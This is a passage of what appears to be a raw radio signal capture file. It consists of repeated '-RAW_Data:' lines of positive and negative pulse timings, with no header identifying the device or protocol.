-92 121 -374 137 -334 125 -368 331 -134 101 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -130 357 -92 121 -3712 131 -350 137 -360 105 -336 375 -108 337 -130 353 -94 369 -98 369 -128 93 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -126 371 -96 123 -3730 -RAW_Data: 97 -374 95 -372 97 -372 345 -126 337 -128 337 -128 337 -128 339 -124 123 -344 347 -132 333 -122 339 -126 121 -372 101 -368 93 -382 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 339 -126 337 -128 125 -3704 131 -358 103 -382 103 -336 357 -140 335 -126 363 -106 359 -106 343 -104 135 -358 353 -92 345 -138 337 -128 97 -376 105 -370 93 -396 331 -132 103 -358 107 -370 93 -396 103 -360 347 -108 361 -106 339 -132 355 -94 121 -3738 99 -348 125 -372 97 -372 347 -92 377 -94 369 -96 369 -130 337 -126 93 -358 347 -134 331 -124 339 -128 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3732 99 -358 103 -384 105 -336 355 -140 335 -126 349 -94 391 -104 359 -106 107 -360 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -122 121 -352 139 -334 127 -356 125 -338 349 -132 331 -124 337 -128 369 -96 125 -3702 131 -358 101 -386 105 -336 355 -140 337 -126 363 -104 361 -106 345 -102 137 -356 353 -94 365 -104 339 -124 123 -360 139 -334 125 -356 351 -102 143 -362 105 -336 129 -358 93 -372 349 -132 331 -124 337 -126 371 -96 123 -3702 131 -358 103 -384 105 -336 355 -142 335 -126 363 -106 359 -106 345 -102 137 -356 353 -92 345 -138 337 -128 131 -342 141 -334 93 -396 331 -134 101 -360 105 -370 93 -396 103 -360 347 -108 361 -106 339 -132 355 -94 121 -3744 97 -350 135 -360 105 -370 343 -108 337 -130 353 -94 369 -128 337 -128 95 -366 367 -106 339 -128 355 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3730 99 -358 103 -386 105 -336 355 -142 335 -126 363 -106 361 -106 345 -102 137 -356 357 -106 347 -104 363 -94 119 -376 137 -334 125 -368 331 -134 103 -358 105 -370 93 -396 103 -360 347 -108 361 -106 339 -132 357 -92 121 -3740 99 -380 103 -360 105 -368 347 -106 339 -130 357 -94 367 -130 337 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -368 125 -352 351 -104 141 -362 105 -338 129 -358 93 -372 349 -132 331 -124 337 -126 371 -96 123 -3732 97 -374 95 -372 97 -370 347 -126 337 -128 337 -128 337 -126 339 -124 123 -346 347 -132 333 -122 339 -126 121 -372 101 -368 93 -382 349 -104 141 -364 103 -338 127 -358 93 -372 349 -132 331 -122 339 -126 337 -130 123 -3730 99 -358 103 -386 105 -336 355 -142 335 -128 363 -106 -RAW_Data: 361 -104 345 -104 135 -356 357 -106 347 -138 329 -124 91 -374 139 -334 125 -366 333 -132 103 -358 107 -368 93 -396 103 -362 347 -106 363 -106 339 -130 357 -92 121 -3740 99 -380 103 -360 103 -370 347 -106 339 -130 357 -94 369 -128 337 -128 95 -366 367 -106 339 -128 353 -94 121 -374 101 -370 125 -352 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -126 371 -96 125 -3702 131 -358 103 -382 105 -336 355 -140 335 -128 349 -94 391 -104 357 -108 105 -360 359 -106 349 -138 333 -122 109 -374 97 -360 125 -358 327 -124 121 -352 125 -342 133 -366 91 -380 351 -104 335 -122 375 -94 369 -96 125 -3730 99 -358 135 -354 107 -368 325 -140 337 -126 349 -94 369 -96 371 -128 93 -368 365 -106 339 -128 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 339 -126 369 -98 123 -3702 131 -358 101 -384 105 -336 357 -140 335 -128 349 -94 391 -104 357 -108 105 -360 359 -106 349 -138 333 -122 109 -342 129 -360 125 -358 327 -124 121 -352 123 -344 133 -366 91 -380 351 -104 335 -122 375 -94 369 -98 123 -3734 99 -358 103 -386 105 -336 355 -142 335 -126 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 95 -362 123 -360 327 -124 121 -352 137 -336 127 -356 123 -340 351 -132 331 -124 337 -126 339 -128 123 -3734 97 -372 97 -372 95 -370 347 -126 337 -128 337 -128 337 -128 339 -124 123 -344 347 -134 331 -124 337 -128 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3730 99 -358 103 -384 105 -368 325 -142 335 -126 351 -94 369 -96 369 -98 125 -368 363 -108 337 -128 353 -92 121 -374 101 -370 125 -352 351 -104 141 -362 103 -338 129 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3704 133 -358 103 -382 103 -336 357 -140 335 -126 347 -94 391 -106 357 -108 103 -362 357 -104 351 -140 331 -124 107 -374 97 -362 123 -360 327 -122 145 -342 99 -364 123 -374 95 -372 347 -96 359 -124 337 -128 337 -128 123 -3696 131 -340 129 -372 95 -372 345 -94 369 -128 339 -128 337 -126 339 -124 93 -372 349 -132 331 -124 339 -126 121 -372 101 -366 93 -382 351 -102 143 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3732 97 -360 101 -386 105 -336 357 -140 335 -128 349 -94 391 -104 357 -108 105 -360 357 -106 349 -140 331 -124 -RAW_Data: 109 -374 97 -360 125 -360 325 -124 121 -352 139 -334 127 -356 123 -340 351 -132 331 -124 337 -128 337 -128 125 -3728 99 -372 95 -372 97 -372 345 -124 337 -128 337 -130 337 -126 339 -124 123 -348 349 -132 331 -124 339 -128 121 -370 101 -368 91 -384 351 -102 143 -362 105 -336 127 -360 93 -370 349 -132 331 -124 339 -126 337 -130 123 -3730 99 -358 103 -386 105 -366 327 -140 335 -128 363 -106 361 -104 345 -104 137 -354 357 -106 347 -138 331 -124 89 -376 137 -334 125 -366 333 -132 103 -358 107 -368 93 -398 103 -360 349 -106 361 -108 339 -130 357 -92 121 -3748 99 -350 137 -360 105 -336 375 -108 339 -130 321 -124 369 -98 369 -98 125 -370 329 -140 337 -128 351 -94 121 -374 101 -368 125 -354 349 -104 141 -362 105 -336 129 -360 93 -370 349 -134 331 -124 339 -126 337 -130 123 -3704 131 -358 103 -382 105 -336 355 -140 337 -126 317 -126 371 -96 369 -96 127 -370 329 -140 337 -128 351 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 339 -128 337 -128 125 -3732 97 -372 97 -372 95 -370 347 -124 337 -128 339 -128 337 -128 339 -124 123 -344 349 -132 331 -122 341 -126 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -122 341 -126 337 -130 123 -3734 99 -360 101 -384 103 -338 355 -140 337 -126 347 -94 391 -106 357 -108 103 -362 357 -104 351 -140 331 -124 107 -376 97 -360 123 -360 327 -122 121 -354 123 -344 133 -366 93 -378 351 -104 335 -122 375 -94 369 -98 123 -3730 99 -372 95 -372 97 -372 345 -124 337 -128 337 -130 337 -126 337 -126 123 -352 347 -132 333 -122 341 -126 121 -372 101 -368 93 -382 351 -102 141 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -128 337 -128 125 -3734 99 -358 103 -384 105 -336 357 -140 335 -126 363 -106 361 -106 345 -102 137 -354 353 -94 343 -140 337 -128 97 -376 105 -370 125 -366 331 -132 103 -358 107 -368 93 -396 103 -360 347 -108 361 -106 341 -130 357 -94 121 -3716 131 -354 101 -394 105 -336 373 -106 337 -130 355 -94 369 -96 369 -130 93 -368 363 -108 337 -128 353 -92 123 -374 101 -368 125 -354 349 -104 141 -362 105 -338 129 -358 93 -370 351 -132 331 -124 337 -128 337 -130 123 -3732 97 -372 97 -372 97 -370 345 -126 337 -128 337 -128 337 -128 337 -124 125 -346 349 -132 331 -122 339 -128 121 -372 101 -368 91 -382 351 -104 141 -362 105 -336 -RAW_Data: 129 -358 93 -372 349 -132 331 -124 339 -126 337 -130 123 -3734 99 -358 103 -384 105 -336 357 -140 335 -126 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 107 -374 97 -360 125 -360 327 -124 121 -352 139 -334 127 -356 123 -340 351 -132 333 -122 339 -126 339 -128 123 -3706 133 -358 103 -380 105 -336 355 -140 335 -126 365 -104 361 -106 345 -102 137 -354 353 -94 343 -140 337 -128 99 -376 105 -370 93 -396 329 -134 103 -358 107 -368 93 -398 101 -362 347 -106 363 -106 339 -132 355 -94 121 -3740 99 -348 127 -370 97 -372 347 -92 379 -94 369 -128 337 -130 337 -126 93 -358 347 -134 333 -124 339 -128 121 -372 101 -368 93 -382 351 -104 141 -362 105 -336 129 -358 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3736 99 -358 103 -384 105 -336 355 -142 333 -128 349 -94 391 -104 357 -108 105 -360 357 -106 349 -140 331 -124 109 -374 95 -362 125 -360 327 -124 143 -342 99 -364 125 -372 95 -372 347 -94 359 -124 337 -128 337 -130 123 -3698 131 -340 129 -340 127 -370 345 -126 337 -128 339 -128 337 -126 341 -124 91 -374 349 -132 329 -124 339 -126 121 -372 101 -368 91 -384 351 -104 141 -362 103 -338 127 -360 93 -370 349 -132 331 -124 337 -128 337 -130 123 -3706 131 -358 103 -382 105 -336 355 -140 337 -126 363 -104 361 -106 343 -104 135 -356 353 -92 345 -138 337 -130 131 -344 105 -370 93 -396 331 -132 103 -358 107 -370 93 -396 103 -360 347 -106 363 -106 339 -132 357 -94 121 -3740 97 -348 127 -372 95 -372 347 -124 347 -94 369 -128 337 -130 337 -126 93 -390 315 -132 335 -124 341 -126 121 -372 101 -368 93 -384 349 -104 141 -362 105 -336 129 -360 91 -372 349 -134 331 -122 339 -128 337 -128 125 -3732 97 -372 97 -372 95 -370 347 -124 337 -128 337 -130 337 -126 339 -124 123 -348 347 -132 333 -122 341 -126 121 -372 101 -368 91 -384 349 -104 141 -362 105 -336 129 -358 93 -372 349 -132 331 -124 339 -126 337 -130 123 -3702 131 -360 101 -384 105 -336 357 -140 333 -128 349 -94 391 -104 359 -106 105 -360 357 -106 351 -138 333 -122 109 -374 97 -362 125 -358 327 -124 121 -352 125 -344 133 -366 91 -380 351 -102 337 -122 343 -126 369 -98 123 -3704 131 -358 137 -352 105 -336 357 -140 335 -94 381 -94 391 -104 359 -108 105 -360 359 -106 349 -106 365 -92 139 -342 127 -360 125 -360 327 -122 143 -342 135 -330 123 -372 95 -372 347 -96 361 -122 337 -128 337 -130 -RAW_Data: 123 -3702 133 -358 103 -382 103 -336 355 -140 335 -96 393 -106 359 -106 345 -104 137 -356 357 -108 345 -104 363 -94 119 -376 137 -334 125 -354 351 -102 143 -362 105 -338 127 -360 125 -358 329 -122 369 -94 371 -96 369 -96 127 -3730 97 -374 95 -370 95 -378 353 -106 359 -108 337 -126 353 -140 361 -108 105 -364 353 -106 359 -108 335 -124 145 -340 99 -364 123 -338 349 -134 141 -360 105 -336 127 -356 125 -340 349 -132 329 -124 337 -128 369 -96 125 -3732 99 -358 137 -352 105 -336 357 -140 337 -126 363 -106 359 -106 345 -104 135 -358 353 -92 345 -138 339 -128 129 -344 141 -332 125 -366 329 -134 103 -358 141 -336 125 -364 103 -360 349 -108 361 -108 339 -130 355 -94 121 -3716 133 -354 101 -394 107 -334 371 -108 339 -128 369 -104 361 -106 345 -102 137 -356 353 -94 365 -106 337 -124 123 -358 141 -334 125 -356 349 -104 141 -362 105 -338 129 -360 125 -338 349 -134 331 -124 337 -126 371 -96 123 -3732 99 -358 137 -354 105 -338 355 -142 335 -126 363 -106 361 -104 347 -102 137 -356 359 -106 345 -104 363 -94 119 -376 137 -334 125 -354 351 -104 141 -362 105 -338 129 -360 123 -360 327 -122 339 -126 371 -96 337 -128 127 -3710 133 -358 105 -338 131 -360 349 -140 333 -94 383 -104 361 -106 339 -130 97 -382 341 -128 337 -128 337 -126 95 -386 93 -372 127 -340 347 -124 129 -346 123 -352 139 -334 125 -352 351 -104 369 -92 375 -94 369 -96 125 -3730 97 -372 97 -372 129 -338 347 -122 337 -126 371 -96 337 -128 369 -94 123 -356 347 -132 331 -124 371 -94 121 -372 101 -370 123 -352 349 -104 141 -362 107 -336 129 -358 125 -338 349 -132 333 -122 369 -96 369 -96 125 -3734 97 -358 137 -354 105 -338 355 -142 337 -126 327 -140 359 -106 345 -104 135 -356 351 -94 345 -138 337 -128 131 -346 105 -368 93 -398 331 -132 103 -358 105 -370 93 -398 103 -360 347 -108 361 -106 339 -132 357 -94 121 -3740 97 -382 103 -360 105 -370 347 -106 339 -130 357 -92 369 -128 337 -130 93 -366 367 -108 337 -130 353 -94 121 -372 139 -332 125 -354 349 -104 143 -362 105 -336 129 -360 123 -340 349 -132 331 -124 369 -96 369 -96 123 -3732 97 -358 137 -356 107 -336 357 -140 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -128 353 -92 121 -374 137 -334 125 -354 349 -104 141 -364 103 -338 129 -358 125 -338 349 -132 333 -122 339 -128 369 -96 125 -3734 99 -358 103 -386 105 -336 357 -140 335 -128 -RAW_Data: 361 -106 361 -106 345 -102 137 -356 353 -92 345 -138 337 -128 131 -346 139 -334 127 -364 329 -134 101 -358 143 -334 125 -364 103 -362 349 -106 363 -106 339 -130 357 -92 121 -3718 133 -354 101 -396 105 -334 371 -108 339 -128 353 -92 369 -96 371 -128 93 -368 363 -108 337 -130 353 -94 121 -372 139 -334 123 -354 351 -102 143 -362 105 -336 129 -360 125 -338 349 -132 333 -122 337 -128 369 -96 125 -3734 99 -358 137 -352 105 -336 357 -140 335 -128 363 -104 361 -106 345 -102 137 -356 353 -94 343 -140 337 -128 129 -344 141 -334 125 -352 351 -102 141 -364 105 -336 129 -360 123 -360 327 -124 337 -126 369 -98 337 -128 127 -3708 133 -358 103 -372 97 -362 349 -140 335 -94 345 -126 371 -96 369 -98 125 -370 329 -140 335 -128 353 -94 121 -374 101 -368 125 -354 349 -140 105 -362 105 -370 97 -360 93 -370 349 -132 331 -124 339 -128 337 -130 123 -3732 97 -340 129 -372 95 -372 345 -124 337 -126 339 -128 337 -128 335 -126 123 -348 349 -132 331 -124 371 -94 123 -372 101 -368 123 -352 349 -104 141 -362 105 -338 127 -360 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3732 97 -372 97 -372 129 -338 345 -124 337 -128 337 -130 337 -126 337 -124 125 -350 347 -134 331 -124 339 -128 121 -372 101 -368 91 -384 349 -104 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 369 -98 123 -3732 99 -358 137 -352 107 -336 355 -142 335 -126 365 -104 361 -106 345 -102 137 -356 353 -94 365 -104 339 -124 123 -360 141 -334 125 -354 351 -102 143 -362 105 -338 129 -360 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3732 97 -358 137 -356 107 -336 355 -140 335 -128 349 -94 369 -96 371 -96 125 -368 363 -108 337 -130 351 -94 121 -374 137 -332 125 -354 351 -102 143 -362 105 -336 129 -360 123 -340 347 -134 331 -124 339 -128 369 -96 125 -3730 99 -372 95 -372 129 -338 345 -124 337 -128 337 -128 339 -126 337 -124 125 -350 347 -134 331 -124 371 -94 121 -372 101 -368 125 -350 351 -102 143 -362 105 -336 129 -360 125 -338 349 -134 331 -124 337 -126 371 -96 125 -3704 133 -358 103 -384 105 -336 355 -140 337 -126 347 -94 369 -96 371 -96 125 -368 363 -108 337 -130 353 -92 123 -372 103 -368 123 -354 351 -102 143 -362 105 -336 129 -360 123 -340 347 -132 333 -124 371 -94 369 -98 123 -3704 133 -358 103 -384 105 -338 353 -142 337 -126 349 -92 371 -96 369 -96 127 -368 363 -108 337 -128 -RAW_Data: 351 -94 121 -374 137 -334 125 -352 351 -104 141 -362 105 -336 129 -360 125 -338 349 -134 331 -122 371 -94 371 -96 125 -3734 99 -358 139 -352 105 -336 355 -140 337 -126 347 -94 369 -98 369 -96 127 -368 363 -108 337 -128 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 129 -358 125 -340 349 -132 331 -124 339 -128 369 -96 125 -3706 133 -358 103 -382 105 -336 353 -142 335 -126 349 -94 369 -96 371 -96 127 -368 363 -108 337 -128 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 125 -338 349 -134 331 -124 337 -126 371 -96 125 -3730 97 -360 135 -356 107 -336 357 -140 337 -126 347 -94 369 -96 369 -130 93 -368 365 -106 339 -128 353 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3708 131 -360 103 -382 105 -336 353 -140 337 -126 349 -94 369 -96 371 -96 125 -368 365 -106 337 -130 351 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 129 -358 125 -338 349 -132 333 -124 339 -126 369 -98 123 -3732 97 -372 97 -372 129 -338 347 -124 337 -126 339 -128 337 -128 337 -124 125 -350 347 -134 331 -124 339 -126 123 -372 101 -368 91 -382 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3706 131 -358 103 -386 105 -336 353 -140 337 -94 379 -94 369 -96 371 -96 125 -368 365 -108 337 -128 351 -94 121 -374 137 -334 125 -352 351 -104 143 -362 105 -336 129 -360 125 -338 349 -134 331 -124 337 -126 371 -96 123 -3730 99 -360 135 -356 107 -336 357 -140 337 -126 349 -94 369 -96 369 -98 125 -368 363 -108 337 -128 353 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -338 129 -360 123 -340 349 -132 331 -124 339 -126 369 -98 123 -3706 131 -360 101 -384 105 -338 353 -140 337 -94 381 -94 369 -96 369 -96 125 -368 365 -108 339 -128 351 -94 121 -372 139 -334 125 -352 351 -104 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3734 99 -360 137 -352 105 -336 353 -142 335 -126 349 -94 369 -96 369 -98 125 -366 367 -108 337 -130 351 -94 121 -372 139 -332 125 -354 349 -104 143 -362 105 -338 127 -360 123 -340 347 -134 331 -124 369 -94 369 -96 125 -3728 97 -372 129 -338 129 -340 347 -122 369 -96 369 -96 369 -96 369 -94 123 -358 345 -134 333 -122 371 -94 121 -372 103 -368 123 -352 349 -104 143 -362 -RAW_Data: 105 -336 129 -360 123 -340 347 -132 333 -122 371 -94 369 -96 125 -3732 97 -372 97 -372 129 -338 347 -122 337 -128 337 -128 337 -128 337 -124 125 -354 347 -132 333 -124 339 -126 121 -372 103 -366 93 -382 351 -104 141 -364 103 -338 127 -360 125 -340 349 -132 331 -122 339 -126 369 -98 123 -3738 97 -360 137 -350 107 -336 353 -140 337 -94 381 -94 369 -96 369 -96 127 -366 365 -108 339 -128 351 -94 121 -374 137 -334 125 -352 351 -104 141 -364 105 -336 129 -358 125 -338 349 -132 331 -124 369 -94 369 -96 125 -3728 97 -372 129 -338 129 -340 347 -122 369 -96 369 -96 369 -96 369 -94 123 -372 359 -96 357 -124 337 -128 121 -336 133 -366 91 -378 351 -104 141 -364 105 -336 127 -358 125 -338 349 -132 331 -124 369 -96 369 -96 123 -3736 97 -360 137 -354 107 -336 355 -142 335 -94 381 -94 391 -104 359 -106 107 -360 359 -106 351 -104 365 -92 139 -342 129 -360 123 -360 327 -124 121 -354 139 -336 127 -356 123 -340 347 -132 333 -122 371 -94 369 -96 125 -3736 97 -360 137 -354 105 -338 355 -140 337 -94 379 -94 391 -104 359 -108 105 -362 357 -106 351 -104 365 -92 139 -342 129 -360 123 -360 327 -122 119 -356 139 -336 127 -356 125 -338 349 -132 331 -122 371 -96 369 -96 123 -3732 99 -358 137 -356 105 -338 357 -140 337 -126 349 -94 391 -104 357 -108 107 -362 359 -106 349 -106 365 -92 139 -340 129 -360 123 -360 329 -122 121 -354 139 -336 125 -356 125 -338 349 -132 333 -124 337 -128 369 -96 125 -3736 99 -358 137 -354 105 -336 353 -142 335 -94 381 -94 369 -128 337 -130 93 -368 363 -108 337 -130 353 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -360 123 -340 349 -132 333 -122 341 -126 369 -98 123 -3706 131 -360 101 -384 105 -338 353 -140 337 -94 381 -94 369 -96 369 -96 125 -368 365 -108 339 -128 351 -92 121 -374 139 -332 125 -354 349 -104 143 -362 105 -338 127 -360 125 -338 347 -134 331 -124 369 -94 369 -96 125 -3728 97 -394 103 -358 105 -338 391 -108 335 -126 349 -94 369 -96 369 -98 125 -366 367 -108 337 -130 351 -94 121 -372 139 -332 125 -352 349 -104 143 -362 105 -338 129 -360 125 -338 349 -132 333 -122 369 -94 371 -96 123 -3730 97 -394 103 -358 105 -338 355 -142 335 -128 347 -94 369 -96 371 -96 125 -368 365 -108 337 -130 353 -92 121 -374 137 -334 125 -352 351 -104 141 -364 105 -336 129 -360 123 -338 349 -132 333 -122 369 -96 -RAW_Data: 369 -96 123 -3730 97 -372 127 -340 129 -338 347 -124 369 -94 369 -96 371 -96 367 -94 125 -358 345 -132 333 -124 369 -96 121 -372 101 -370 123 -352 351 -102 143 -362 105 -338 129 -358 123 -340 347 -132 333 -122 371 -94 369 -96 125 -3730 97 -360 137 -358 105 -338 355 -142 335 -128 347 -94 369 -96 371 -96 125 -368 365 -108 337 -130 351 -94 121 -374 137 -332 125 -352 351 -102 143 -362 105 -338 131 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3736 97 -360 137 -354 107 -336 355 -142 337 -126 363 -106 361 -104 345 -102 137 -346 343 -128 337 -128 339 -126 127 -346 125 -340 129 -356 331 -124 139 -340 127 -358 123 -360 103 -394 319 -140 319 -142 333 -122 361 -104 103 -3732 105 -370 97 -364 123 -360 327 -122 371 -94 369 -96 371 -96 369 -94 125 -358 347 -132 333 -124 371 -94 121 -372 137 -334 123 -352 351 -104 143 -362 105 -336 129 -360 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3734 97 -372 97 -372 95 -372 345 -124 337 -128 337 -130 337 -126 337 -124 123 -350 347 -134 333 -124 369 -94 121 -372 103 -368 123 -352 351 -102 143 -362 105 -338 127 -360 123 -340 347 -132 333 -122 371 -96 369 -96 123 -3730 99 -358 137 -358 107 -336 357 -140 337 -94 381 -94 369 -96 369 -96 127 -366 365 -108 339 -130 353 -94 121 -372 101 -368 125 -354 351 -102 143 -362 105 -336 129 -360 123 -340 349 -132 333 -122 339 -128 369 -98 123 -3708 131 -358 103 -384 105 -334 355 -140 337 -94 379 -94 369 -96 371 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 125 -3706 131 -358 103 -384 105 -338 353 -140 337 -94 379 -94 369 -96 371 -96 125 -368 365 -108 337 -128 353 -92 121 -374 137 -334 125 -352 349 -104 143 -362 105 -338 129 -360 125 -338 347 -134 331 -122 369 -96 369 -96 123 -3730 99 -392 103 -358 107 -338 355 -142 335 -126 349 -94 369 -96 369 -98 125 -368 365 -106 339 -128 353 -94 121 -374 137 -334 125 -352 351 -104 141 -364 105 -338 127 -360 123 -340 347 -132 333 -122 369 -94 371 -96 123 -3734 99 -360 137 -356 105 -338 355 -140 337 -94 379 -94 391 -106 357 -108 105 -362 359 -106 349 -106 365 -92 139 -342 129 -360 123 -360 327 -122 143 -344 135 -330 123 -360 137 -360 355 -106 359 -108 333 -92 391 -104 139 -3698 105 -370 97 -364 123 -338 349 -134 -RAW_Data: 333 -124 369 -94 369 -96 371 -96 125 -368 363 -108 337 -128 351 -92 121 -374 139 -332 125 -354 349 -104 143 -362 105 -338 129 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3738 99 -358 137 -354 105 -338 355 -140 337 -94 381 -94 391 -104 357 -108 105 -362 359 -106 351 -104 365 -92 139 -342 127 -360 125 -358 327 -122 121 -358 139 -336 127 -354 125 -338 349 -132 333 -122 369 -96 369 -96 123 -3734 97 -360 137 -356 107 -336 355 -142 335 -126 349 -94 391 -104 359 -106 107 -360 359 -106 351 -106 365 -92 139 -342 127 -362 123 -360 325 -122 121 -356 139 -336 127 -356 123 -340 347 -134 331 -124 369 -96 369 -96 123 -3732 97 -372 97 -372 129 -338 347 -124 335 -128 369 -96 369 -96 367 -94 125 -354 347 -132 335 -122 371 -94 121 -372 103 -368 123 -352 351 -104 141 -364 105 -336 129 -358 125 -338 349 -132 333 -122 369 -96 369 -96 123 -3730 99 -392 103 -358 107 -336 357 -140 337 -126 349 -94 369 -96 369 -96 127 -366 365 -108 339 -128 353 -94 121 -374 137 -332 125 -354 349 -104 143 -362 105 -338 127 -360 125 -338 347 -134 331 -124 371 -94 369 -96 125 -3732 99 -360 135 -358 105 -336 357 -140 337 -94 379 -94 393 -104 359 -106 107 -360 359 -106 351 -104 365 -92 139 -342 129 -360 123 -360 327 -124 119 -354 141 -336 127 -354 125 -340 347 -132 333 -122 369 -96 369 -96 123 -3730 99 -372 129 -340 129 -338 347 -122 369 -96 369 -96 369 -96 367 -94 125 -356 345 -134 333 -124 369 -96 121 -372 101 -370 123 -350 351 -104 141 -364 105 -336 129 -360 123 -340 347 -132 333 -122 369 -96 369 -96 125 -3728 97 -372 129 -338 129 -340 347 -122 369 -96 369 -96 369 -96 369 -94 125 -356 345 -134 333 -124 369 -96 121 -372 101 -370 123 -350 351 -104 143 -362 105 -336 129 -360 123 -340 347 -134 333 -122 371 -94 369 -98 123 -3732 97 -374 95 -372 129 -338 347 -124 337 -128 337 -128 337 -128 337 -124 123 -354 345 -134 333 -124 369 -94 121 -372 103 -368 123 -352 349 -104 143 -362 105 -338 127 -360 123 -340 347 -132 333 -122 371 -96 369 -96 123 -3728 99 -372 127 -340 129 -338 347 -124 369 -94 371 -96 369 -96 369 -94 123 -358 345 -134 333 -122 371 -94 123 -372 101 -368 125 -350 351 -104 141 -364 105 -336 129 -360 123 -338 349 -132 333 -122 369 -96 369 -96 123 -3736 97 -360 135 -358 105 -336 357 -140 337 -94 379 -94 391 -106 357 -108 105 -362 359 -106 -RAW_Data: 351 -104 365 -92 139 -342 129 -360 123 -360 327 -124 119 -354 141 -336 127 -354 125 -340 347 -132 333 -122 369 -96 369 -96 123 -3734 99 -358 137 -356 107 -336 357 -140 337 -126 349 -94 391 -104 359 -108 105 -360 359 -106 351 -104 365 -92 139 -342 129 -360 123 -360 327 -122 121 -354 141 -336 127 -356 125 -338 349 -132 333 -122 369 -96 369 -96 123 -3732 99 -372 95 -372 129 -340 345 -124 337 -126 371 -96 337 -128 367 -94 125 -352 347 -132 335 -124 339 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -360 123 -340 351 -132 331 -124 337 -126 371 -96 125 -3728 99 -372 95 -372 129 -340 345 -124 337 -128 337 -128 337 -128 337 -124 125 -352 347 -134 333 -122 369 -96 121 -372 101 -370 123 -350 351 -104 143 -362 105 -336 129 -360 123 -340 347 -134 331 -124 369 -94 369 -96 125 -3726 99 -394 101 -358 107 -338 391 -108 337 -126 349 -94 369 -96 369 -98 125 -366 367 -106 339 -130 351 -94 121 -372 139 -334 123 -354 351 -104 141 -362 105 -338 129 -358 125 -338 349 -132 333 -122 369 -94 371 -96 123 -3730 99 -392 103 -358 105 -338 357 -142 335 -126 349 -94 369 -96 371 -96 125 -368 365 -108 337 -130 351 -94 121 -374 137 -334 123 -354 349 -104 141 -364 105 -338 129 -360 123 -340 347 -134 331 -124 369 -94 369 -96 125 -3728 97 -372 129 -338 129 -340 345 -124 369 -94 371 -96 369 -96 369 -94 123 -370 359 -96 361 -122 337 -128 121 -338 131 -368 91 -378 351 -102 143 -362 105 -338 129 -356 125 -338 349 -132 333 -122 371 -94 369 -96 125 -3730 97 -374 95 -372 129 -340 345 -124 337 -126 369 -96 371 -96 367 -94 125 -354 347 -132 335 -122 371 -94 121 -372 103 -368 123 -352 351 -102 143 -362 105 -338 129 -358 125 -338 349 -132 331 -124 369 -94 369 -98 123 -3736 99 -358 137 -356 105 -338 355 -140 337 -94 381 -94 391 -104 357 -108 105 -362 359 -106 351 -104 365 -92 139 -342 129 -360 123 -360 327 -122 143 -344 135 -332 123 -360 135 -360 355 -106 361 -106 335 -92 391 -106 103 -3734 105 -370 97 -360 123 -362 327 -122 357 -140 361 -108 335 -94 377 -96 121 -372 353 -104 349 -140 333 -122 109 -374 97 -362 123 -340 349 -132 105 -396 105 -334 127 -356 125 -340 347 -134 331 -124 337 -126 371 -96 125 -3734 99 -358 137 -354 105 -338 355 -140 337 -94 379 -94 391 -104 359 -108 105 -362 357 -108 349 -106 365 -92 139 -342 127 -362 123 -360 327 -122 -RAW_Data: 143 -344 135 -332 123 -360 135 -360 355 -106 361 -106 335 -92 391 -104 103 -3730 105 -370 97 -364 123 -340 349 -132 335 -122 371 -94 369 -98 369 -96 125 -368 365 -106 339 -128 349 -94 121 -374 137 -334 125 -352 349 -104 141 -364 105 -336 131 -360 123 -338 349 -132 335 -122 369 -96 369 -96 123 -3736 99 -360 135 -356 105 -338 355 -142 335 -94 381 -94 391 -104 359 -108 105 -362 359 -106 351 -104 365 -92 139 -340 129 -360 125 -358 327 -122 121 -356 139 -336 127 -356 125 -340 347 -132 333 -122 369 -96 369 -96 123 -3730 99 -392 103 -358 107 -338 357 -140 335 -128 349 -94 369 -98 369 -96 125 -370 363 -108 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 103 -338 129 -360 125 -338 349 -134 331 -124 339 -126 371 -96 123 -3738 99 -358 137 -352 105 -336 355 -140 337 -94 381 -94 391 -104 359 -108 105 -362 359 -106 349 -104 365 -94 139 -340 129 -360 125 -358 329 -122 